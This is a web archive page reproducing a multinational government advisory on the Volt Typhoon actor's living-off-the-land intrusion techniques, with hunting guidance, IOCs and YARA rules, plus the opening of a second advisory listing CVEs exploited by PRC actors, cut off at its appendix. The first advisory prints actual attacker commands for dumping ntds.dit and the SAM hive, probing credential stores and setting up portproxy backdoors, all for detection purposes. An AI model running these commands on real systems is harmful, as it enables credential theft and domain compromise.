Tag Archive for: republic

People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection


The United States and international cybersecurity authorities are issuing this joint Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of activity of interest associated with a People’s Republic of China (PRC) state-sponsored cyber actor, also known as Volt Typhoon. Private sector partners have identified that this activity affects networks across U.S. critical infrastructure sectors, and the authoring agencies believe the actor could apply the same techniques against these and other sectors worldwide.

This advisory from the United States National Security Agency (NSA), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau of Investigation (FBI), the Australian Signals Directorate’s Australian Cyber Security Centre (ACSC), the Communications Security Establishment’s Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), and the United Kingdom National Cyber Security Centre (NCSC-UK) (hereafter referred to as the “authoring agencies”) provides an overview of hunting guidance and associated best practices to detect this activity.

One of the actor’s primary tactics, techniques, and procedures (TTPs) is living off the land, which uses built-in network administration tools to perform their objectives. This TTP allows the actor to evade detection by blending in with normal Windows system and network activities, avoid endpoint detection and response (EDR) products that would alert on the introduction of third-party applications to the host, and limit the amount of activity that is captured in default logging configurations. Some of the built-in tools this actor uses are: wmic, ntdsutil, netsh, and PowerShell. The advisory provides examples of the actor’s commands along with detection signatures to aid network defenders in hunting for this activity. Many of the behavioral indicators included can also be legitimate system administration commands that appear in benign activity. Care should be taken not to assume that findings are malicious without further investigation or other indications of compromise.

Download the PDF version of this report (723 KB)

This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques.

The authoring agencies are aware of recent People’s Republic of China (PRC) state-sponsored cyber activity and have identified potential indicators associated with these techniques. This advisory will help net defenders hunt for this activity on their systems. It provides many network and host artifacts associated with the activity occurring after the network has been initially compromised, with a focus on command lines used by the cyber actor. An Indicators of compromise (IOCs) summary is included at the end of this advisory.

Especially for living off the land techniques, it is possible that some command lines might appear on a system as the result of benign activity and would be false positive indicators of malicious activity. Defenders must evaluate matches to determine their significance, applying their knowledge of the system and baseline behavior. Additionally, if creating detection logic based on these commands, network defenders should account for variability in command string arguments, as items such as ports used may be different across environments.

Network artifacts

The actor has leveraged compromised small office/home office (SOHO) network devices as intermediate infrastructure to obscure their activity by having much of the command and control (C2) traffic emanate from local ISPs in the geographic area of the victim. Owners of SOHO devices should ensure that network management interfaces are not exposed to the Internet to avoid them being re-purposed as redirectors by malicious actors. If they must be exposed to the Internet, device owners and operators should ensure they follow zero trust principles and maintain the highest level of authentication and access controls possible.

The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks [T1090] to ports 8080, 8443, 8043, 8000, and 10443 with various filenames including, but not limited to:

cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe.

Host artifacts

Windows management instrumentation (WMI/WMIC)

The actor has executed the following command to gather information about local drives [T1082]:

cmd.exe /C "wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename"

This command does not require administrative credentials to return results. The command uses a command prompt [T1059.003] to execute a Windows Management Instrumentation Command Line (WMIC) query, collecting information about the storage devices on the local host, including drive letter, file system (e.g., new technology file system [NTFS]), free space and drive size in bytes, and an optional volume name. Windows Management Instrumentation (WMI) is a built-in Windows tool that allows a user to access management information from hosts in an enterprise environment. The command line version of WMI is called WMIC.

By default, WMI Tracing is not enabled, so the WMI commands being executed and the associated user might not be available. Additional information on WMI events and tracing can be found in the References section of the advisory.

Ntds.dit Active Directory database

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive from Windows domain controllers (DCs) out of the network to perform password cracking [T1003.003]. (The ntds.dit file is the main Active Directory (AD) database file and, by default, is stored at %SystemRoot%\NTDS\ntds.dit. This file contains information about users, groups, group memberships, and password hashes for all users in the domain; the SYSTEM registry hive contains the boot key that is used to encrypt information in the ntds.dit file.) Although the ntds.dit file is locked while in use by AD, a copy can be made by creating a Volume Shadow Copy and extracting the ntds.dit file from the Shadow Copy. The SYSTEM registry hive may also be obtained from the Shadow Copy. The following example commands show the actor creating a Shadow Copy and then extracting a copy of the ntds.dit file from it.

cmd /c vssadmin create shadow /for=C: > C:\Windows\Temp\<filename>.tmp

cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Windows\Temp > C:\Windows\Temp\<filename>.tmp

The built-in Ntdsutil.exe tool performs all these actions using a single command. There are several ways to execute Ntdsutil.exe, including running from an elevated command prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders should look for the execution of Ntdsutil.exe commands using long, short, or a combination of the notations. For example, the long notation command activate instance ntds ifm can also be executed using the short notation ac i ntds i. Table 1 provides the long and short forms of the arguments used in the sample Ntdsutil.exe command, along with a brief description of the arguments.

Table 1: Ntdsutil.exe command syntax

Long form

Short form

Description

activate instance %

ac i %

Sets variable % as the active instance for ntdsutil to use

ifm

i

Install from media (ifm). Creates installation media to be used with DCPromo so the server will not need to copy data from another Domain Controller on the network

The actor has executed WMIC commands [T1047] to create a copy of the ntds.dit file and SYSTEM registry hive using ntdsutil.exe. Each of the following actor commands is a standalone example; multiple examples are provided to show how syntax and file paths may differ per environment.

wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\pro

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"

"cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"  1> \\127.0.0.1\ADMIN$\<timestamp value> 2>&1

Note: The <timestamp value> would be an epoch timestamp following the format like “__1684956600.123456”.

Each actor command above creates a copy of the ntds.dit database and the SYSTEM and SECURITY registry hives in the C:\Windows\Temp\<folder> directory, where <folder> is replaced with the path specified in the command (e.g., pro, tmp, or McAfee_Logs). By default, the hidden ADMIN$ share is mapped to C:\Windows\, so the last command will direct standard output and error messages from the command to a file within the folder specified.

The actor has also saved the files directly to the C:\Windows\Temp and C:\Users\Public directories, so the entirety of those directory structures should be analyzed. Ntdsutil.exe creates two subfolders in the directory specified in the command: an Active Directory folder that contains the ntds.dit and ntds.jfm files, and a registry folder that contains the SYSTEM and SECURITY hives. Defenders should look for this folder structure across their network:

<path specified in command>\Active Directory\ntds.dit
<path specified in command>\Active Directory\ntds.jfm

<path specified in command>\registry\SECURITY

<path specified in command>\registry\SYSTEM

When one of the example commands is executed, several successive log entries are created in the Application log, under the ESENT Source. Associated events can be viewed in Windows Event Viewer by navigating to: Windows Logs | Application. To narrow results to relevant events, select Filter Current Log from the Actions menu on the right side of the screen. In the Event sources dropdown, check the box next to ESENT, then limit the logs to ID numbers 216, 325, 326, and 327. Clicking the OK box will apply the filters to the results.

Since ESENT logging is used extensively throughout Windows, defenders should focus on events that reference ntds.dit. If such events are present, the events’ details should contain the file path where the file copies were created. Since these files can be deleted, or enhanced logging may not be configured on hosts, the file path can greatly aid in a hunt operation. Identifying the user associated with this activity is also a critical step in a hunt operation as other actions by the compromised—or actor-created—user account can be helpful to understand additional actor TTPs, as well as the breadth of the actor’s actions.

Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the entire domain should be considered compromised, as the actor will generally be able to crack the password hashes for domain user accounts, create their own accounts, and/or join unauthorized systems to the domain. If this occurs, defenders should follow guidance for removing malicious actors from victim networks, such as CISA’s Eviction Guidance for Network Affected by the SolarWinds and Active Directory/M365 Compromise.

In addition to the above TTPs used by the actor to copy the ntds.dit file, the following tools could be used by an actor to obtain the same information:

  • Secretsdump.py
    • Note: This script is a component of Impacket, which the actor has been known to use
  • Invoke-NinjaCopy (PowerShell)
  • DSInternals (PowerShell)
  • FgDump
  • Metasploit

Best practices for securing ntds.dit include hardening Domain Controllers and monitoring event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.

PortProxy

The actor has used the following commands to enable port forwarding [T1090] on the host:

"cmd.exe /c "netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress=<rfc1918 internal ip address> connectport=8443 protocol=tcp""

"cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=1433 connectaddress=<rfc1918 internal ip address>"

where <rfc1918 internal ip address> is replaced with an IPv4 address internal to the network, omitting the < >’s.

Netsh is a built-in Windows command line scripting utility that can display or modify the network settings of a host, including the Windows Firewall. The portproxy add command is used to create a host:port proxy that will forward incoming connections on the provided listenaddress and listenport to the connectaddress and connectport. Administrative privileges are required to execute the portproxy command. Each portproxy command above will create a registry key in the HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\ path. Defenders should look for the presences of keys in this path and investigate any anomalous entries.

Note: Using port proxies is not common for legitimate system administration since they can constitute a backdoor into the network that bypasses firewall policies. Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required.

Defenders should also use unusual IP addresses and ports in the command lines or registry entries to identify other hosts that are potentially included in actor actions. All hosts on the network should be examined for new and unusual firewall and port forwarding rules, as well as IP addresses and ports specified by the actor. If network traffic or logging is available, defenders should attempt to identify what traffic was forwarded though the port proxies to aid in the hunt operation. As previously mentioned, identifying the associated user account that made the networking changes can also aid in the hunt operation.

Firewall rule additions and changes can be viewed in Windows Event Viewer by navigating to:

Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall.

In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts. The actor is known to target perimeter devices in their operations. Firewall logs should be reviewed for any connections to systems on the ports listed in any portproxy commands discovered.

PowerShell

The actor has used the following PowerShell [T1059.001] command to identify successful logons to the host [T1033]:

Get-EventLog security -instanceid 4624

Note: Event ID 4624 is logged when a user successfully logs on to a host and contains useful information such as the logon type (e.g., interactive or networking), associated user and computer account names, and the logon time. Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to:

Windows Logs | Security. PowerShell logs can be viewed in Event Viewer: Applications and Service Logs | Windows PowerShell.

This command identifies what user account they are currently leveraging to access the network, identify other users logged on to the host, or identify how their actions are being logged. If the actor is using a password spray technique [T1110.003], there may be several failed logon (Event ID 4625) events for several different user accounts, followed by one or more successful logons (Event ID 4624) within a short period of time. This period may vary by actor but can range from a few seconds to a few minutes.

If the actor is using brute force password attempts [T1110] against a single user account, there may be several Event ID 4625 entries for that account, followed by a successful logon Event ID 4624. Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).

Impacket

The actor regularly employs the use of Impacket’s wmiexec, which redirects output to a file within the victim host’s ADMIN$ share (C:\Windows\) containing an epoch timestamp in its name. The following is an example of the “dir” command being executed by wmiexec.py:

cmd.exe /Q /c *dir 1> \\127.0.0.1\ADMIN$\__1684956600.123456 2>&1

Note: Discovery of an entry similar to the example above in the Windows Event Log and/or a file with a name in a similar format may be evidence of malicious activity and should be investigated further. In the event that only a filename is discovered, the epoch timestamp within the filename reflects the time of execution by default and can be used to help scope threat hunting activities.

Enumeration of the environment

The following commands were used by the actor to enumerate the network topology [T1016], the active directory structure [T1069.002], and other information about the target environment [T1069.001], [T1082]:

arp -a

curl www.ip-api.com

dnscmd . /enumrecords /zone {REDACTED}

dnscmd . /enumzones

dnscmd /enumrecords {REDACTED} . /additional

ipconfig /all

ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree

net localgroup administrators

net group /dom

net group "Domain Admins" /dom

netsh interface firewall show all

netsh interface portproxy show all

netsh interface portproxy show v4tov4

netsh firewall show all

netsh portproxy show v4tov4

netstat -ano

reg query hklm\software\

systeminfo

tasklist /v

whoami

wmic volume list brief

wmic service brief

wmic product list brief

wmic baseboard list full

wevtutil qe security /rd:true /f:text /q:*[System[(EventID=4624) and TimeCreated[@SystemTime>='{REDACTED}']] and EventData[Data="{REDACTED}"]]

Additional credential theft

The actor also used the following commands to identify additional opportunities for obtaining credentials in the environment [T1555], [T1003]:

dir C:\Users\{REDACTED}\.ssh\known_hosts

dir C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profiles

     mimikatz.exe

reg query hklm\software\OpenSSH

reg query hklm\software\OpenSSH\Agent

reg query hklm\software\realvnc

reg query hklm\software\realvnc\vncserver

reg query hklm\software\realvnc\Allusers

reg query hklm\software\realvnc\Allusers\vncserver

reg query hkcu\software\{REDACTED}\putty\session

reg save hklm\sam ss.dat

reg save hklm\system sy.dat

Additional commands

The actor executed the following additional commands:

7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z

C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe

C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 >

C:\Windows\temp\putty.log

C:\Windows\Temp\tmp.log

"cmd.exe" /c dir \\127.0.0.1\C$ /od

"cmd.exe" /c ping –a –n 1 <IP address>

"cmd.exe" /c wmic /user:<username> /password:<password> process call create "net stop \"<service name>\" > C:\Windows\Temp\tmp.log"

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2 2>&1

net use \\127.0.0.1\IPC$ /y /d

powershell start-process -filepath c:\windows\temp\<filename>.bat -windowstyle Hidden

rar.exe a –{REDACTED} c:\Windows\temp\{REDACTED} D:\{REDACTED}\

wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED} cmd /c whoami

xcopy C:\windows\temp\hp d:\{REDACTED}

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actor’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity Frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Defenders should harden domain controllers and monitor event logs [2.T] for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.
  • Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required [2.X].
  • Defenders should investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions.
  • In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts.
  • Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).
  • Defenders should forward log files to a hardened centralized logging server, preferably on a segmented network [2.F].

Logging recommendations

To be able to detect the activity described in this CSA, defenders should set the audit policy for Windows security logs to include “audit process creation” and “include command line in process creation events” in addition to accessing the logs. Otherwise, the default logging configurations may not contain the necessary information.

Enabling these options will create Event ID 4688 entries in the Windows Security log to view command line processes. Given the cost and difficulty of logging and analyzing this kind of activity, if an organization must limit the requirements, they should focus on enabling this kind of logging on systems that are externally facing or perform authentication or authorization, especially including domain controllers.

To hunt for the malicious WMI and PowerShell activity, defenders should also log WMI and PowerShell events. By default, WMI Tracing and deep PowerShell logging are not enabled, but they can be enabled by following the configuration instructions linked in the References section.

The actor takes measures to hide their tracks, such as clearing logs [T1070.001]. To ensure log integrity and availability, defenders should forward log files to a hardened centralized logging server, preferably on a segmented network. Such an architecture makes it harder for an actor to cover their tracks as evidence of their actions will be captured in multiple locations.

Defenders should also monitor logs for Event ID 1102, which is generated when the audit log is cleared. All Event ID 1102 entries should be investigated as logs are generally not cleared and this is a known actor tactic to cover their tracks. Even if an event log is cleared on a host, if the logs are also stored on a logging server, the copy of the log will be preserved.

This activity is often linked to malicious exploitation of edge devices and network management devices. Defenders should enable logging on their edge devices, to include system logs, to be able to identify potential exploitation and lateral movement. They should also enable network-level logging, such as sysmon, webserver, middleware, and network device logs.

TTPs

  • Exploiting vulnerabilities [T1190] in widely used software including, but not limited to:
  • Using webshells for persistence and exfiltration [T1505.003], with at least some of the webshells derived from the Awen webshell.
  • Using compromised Small-Office Home-Office (SOHO) devices (e.g. routers) to obfuscate the source of the activity [T1090.002].
  • Using living off the land tools for discovery, lateral movement, and collection activities, to include:
    • certutil
    • dnscmd
    • ldifde
    • makecab
    • net user/group/use
    • netsh
    • nltest
    • ntdsutil
    • PowerShell
    • req query/save
    • systeminfo
    • tasklist
    • wevtutil
    • wmic
    • xcopy
  • Selective clearing of Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity [T1546].
  • Using open source “hacktools” tools, such as:

Command execution

File names and directory paths used in these commands are only meant to serve as examples. Actual names and paths may differ depending on environment and activity, so defenders should account for variants when performing queries.

Note: Many of the commands are derivatives of common system administration commands that could generate false positives when used alone without additional indicators.

7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z c:\windows\temp\*

"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c "netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999""

C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe

cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >> c:\windows\temp\{REDACTED}.tmp



"cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c *cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2>&1

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1652470932.9400265 2>&1

cmd.exe /Q /c net group "domain admins" /dom 1>\\127.0.0.1\ADMIN$\__<timestamp value> 2>&1

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"  1> \\127.0.0.1\ADMIN$\<timestamp value>  2>&1

D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED}

Get-EventLog security -instanceid 4624

ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree

makecab ..\backup\210829-020000.zip ..\webapps\adssp\html\Lock.lic

move "\\<redacted>\c$\users\public\Appfile\registry\SYSTEM" ..\backup\210829-020000.zip

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress={REDACTED} connectport=8443 protocol=tcp

netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999



Rar.exe a –{REDACTED} c:\Windows\temp\DMBC2C61.tmp

start-process -filepath c:\windows\temp\<filename>.bat -windowstyle hidden 1

Note: The batch file in question (<filename>.bat) could use any name, and no discernable pattern has been determined at this time.

wmic process call create "cmd.exe /c mkdir C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm \"create full C:\users\public\Appfile\" q q

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\"

Command line patterns

Certain patterns in commands (with asterisks for wildcards) can be used to identify potentially malicious commands:

  • cmd.exe /C dir /S \\* >> *
  • cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1
  • powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden

File paths

The most common paths where files and executables used by the actor have been found include:

  • C:\Users\Public\Appfile (including subdirectories)
  • C:\Perflogs (including subdirectories)
  • C:\Windows\Temp (including subdirectories)

File names

The file names the actor has previously used for such things as malware, scripts, and tools include:

backup.bat

cl64.exe

update.bat

Win.exe

billagent.exe

nc.exe

update.exe

WmiPrvSE.exe

billaudit.exe

rar.exe

vm3dservice.exe

WmiPreSV.exe

cisco_up.exe

SMSvcService.exe

watchdogd.exe

 

In addition to the file names and paths above, malicious files names, believed to be randomly created, in the following format have also been discovered:

C:\Windows\[a-zA-Z]{8}.exe

SHA-256 file hashes

  • f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd
  • ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31
  • d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca
  • 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d
  • 66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7
  • 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71
  • 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597
  • c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99
  • 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f
  • fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15
  • ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484

User-agent

In some cases, the following user-agent string (including the extra spacing) was identified performing reconnaissance activities by this actor:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0)               Gecko/20100101 Firefox/68.0

Yara rules

rule ShellJSP {

    strings:

        $s1 = "decrypt(fpath)"

        $s2 = "decrypt(fcontext)"

        $s3 = "decrypt(commandEnc)"

        $s4 = "upload failed!"

        $s5 = "aes.encrypt(allStr)"

        $s6 = "newid"


    condition:

        filesize < 50KB and 4 of them

}
rule EncryptJSP {

    strings:

        $s1 = "AEScrypt"

        $s2 = "AES/CBC/PKCS5Padding"

        $s3 = "SecretKeySpec"

        $s4 = "FileOutputStream"

        $s5 = "getParameter"

        $s6 = "new ProcessBuilder"

        $s7 = "new BufferedReader"

        $s8 = "readLine()"


    condition:

        filesize < 50KB and 6 of them

}
rule CustomFRPClient {

   meta:

        description=”Identify instances of the actor's custom FRP tool based on unique strings chosen by the actor and included in the tool”

   strings:

        $s1 = "%!PS-Adobe-" nocase ascii wide

        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide

        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide

        $s4 = "MAGA2024!!!" nocase ascii wide

        $s5 = "HTTP_PROXYHost: %s" nocase ascii wide

  

   condition:

        all of them

}
rule HACKTOOL_FRPClient {

   meta:

        description=”Identify instances of FRP tool (Note: This tool is known to be used by multiple actors, so hits would not necessarily imply activity by the specific actor described in this report)”

   strings:

        $s1 = "%!PS-Adobe-" nocase ascii wide

        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide

        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide

        $s4 = "HTTP_PROXYHost: %s" nocase ascii wide

  

   condition:

        3 of them

}

Active Directory and domain controller hardening:

CISA regional cyber threats:

Microsoft Threat Intelligence blog:

Ntdsutil.exe:

PowerShell:

Windows command line process auditing:

Windows Defender Firewall:

Windows management instrumentation:

Windows password spraying:

The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google’s Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat Intelligence (MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix, and additional industry partners for their collaboration on this advisory.

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies’ governments, and this guidance shall not be used for advertising or product endorsement purposes.

Trademark recognition

Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at [email protected] or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/field-offices.  

NSA Cybersecurity Report Questions and Feedback: [email protected]

NSA Defense Industrial Base Inquiries and Cybersecurity Services: [email protected]

NSA Media Inquiries / Press Desk: 443-634-0721, [email protected]

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and to access alerts and advisories.

Canadian organizations: Report incidents by emailing CCCS at [email protected].

New Zealand organizations: Report cyber security incidents to [email protected] or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Table 2 captures all referenced threat actor tactics and techniques in this advisory.

Table 2: All referenced threat actor tactics and techniques

Initial Access

Technique Title

ID

Use

Exploit Public-facing Application

T1190

Actor used public-facing applications to gain initial access to systems; in this case, Earthworm and PortProxy.

Execution

Windows Management Instrumentation

T1047

The actor executed WMIC commands to create a copy of the SYSTEM registry.

Command and Scripting Interpreter: PowerShell

T1059.001

The actor used a PowerShell command to identify successful logons to the host.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

The actor used this primary command prompt to execute a query that collected information about the storage devices on the local host.

Persistence

Server Software Component: Web Shell

T1505.003

The actor used backdoor web servers with web shells to establish persistence to systems, including some of the webshells being derived from Awen webshell.

Defense Evasion

Hide Artifacts

T1546

The actor selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity.

Indicator Removal: Clear Windows Event Logs

T1070.001

The actor cleared system event logs to hide activity of an intrusion.

Credential Access

OS Credential Dumping: NTDS

T1003.003

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive out of the network to perform password cracking.

Brute Force

T1110

The actor attempted to gain access to accounts with multiple password attempts.

Brute Force: Password Spraying

T1110.003

 

The actor used commonly used passwords against accounts to attempt to acquire valid credentials.

OS Credential Dumping

T1003

The actor used additional commands to obtain credentials in the environment.

Credentials from Password Stores

T1555

The actors searched for common password storage locations.

Discovery

System Information Discovery

T1082

The actors executed commands to gather information about local drives.

System Owner/User Discovery

T1033

The actors gathered information about successful logons to the host using a PowerShell command.

Permission Groups Discovery: Local Groups

T1069.001

The actors attempt to find local system groups and permission settings.

Permission Groups Discovery: Doman Groups

T1069.002

The actors used commands to enumerate the active directory structure.

System Network Configuration Discovery

T1016

The actors used commands to enumerate the network topology.

Command and Control

Proxy

T1090

The actors used commands to enable port forwarding on the host.

Proxy: External Proxy

T1090.002

The actors used compromised SOHO devices (e.g. routers) to obfuscate the source of their activity.

 

Source…

Top CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors


Summary

Technical Details

NSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques—some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.

PRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.

Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020

Vendor

CVE

Vulnerability Type

Apache Log4j

CVE-2021-44228

Remote Code Execution

Pulse Connect Secure

CVE-2019-11510

Arbitrary File Read

GitLab CE/EE

CVE-2021-22205

Remote Code Execution

Atlassian

CVE-2022-26134

Remote Code Execution

Microsoft Exchange

CVE-2021-26855

Remote Code Execution

F5 Big-IP

CVE-2020-5902

Remote Code Execution

VMware vCenter Server

CVE-2021-22005

Arbitrary File Upload

Citrix ADC

CVE-2019-19781

Path Traversal

Cisco Hyperflex

CVE-2021-1497

Command Line Execution

Buffalo WSR

CVE-2021-20090

Relative Path Traversal

Atlassian Confluence Server and Data Center

CVE-2021-26084

Remote Code Execution

Hikvision Webserver

CVE-2021-36260

Command Injection

Sitecore XP

CVE-2021-42237

Remote Code Execution

F5 Big-IP

CVE-2022-1388

Remote Code Execution

Apache

CVE-2022-24112

Authentication Bypass by Spoofing

ZOHO

CVE-2021-40539

Remote Code Execution

Microsoft

CVE-2021-26857

Remote Code Execution

Microsoft

CVE-2021-26858

Remote Code Execution

Microsoft

CVE-2021-27065

Remote Code Execution

Apache HTTP Server

CVE-2021-41773

Path Traversal

These state-sponsored actors continue to use virtual private networks (VPNs) to obfuscate their activities and target web-facing applications to establish initial access. Many of the CVEs indicated in Table 1 allow the actors to surreptitiously gain unauthorized access into sensitive networks, after which they seek to establish persistence and move laterally to other internally connected networks. For additional information on PRC state-sponsored cyber actors targeting network devices, please see People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices.

Mitigations

NSA, CISA, and FBI urge organizations to apply the recommendations below and those listed in Appendix A.

Appendix A

Table II: Apache CVE-2021-44228

Apache CVE-2021-44228 CVSS 3.0: 10 (Critical)

Vulnerability Description

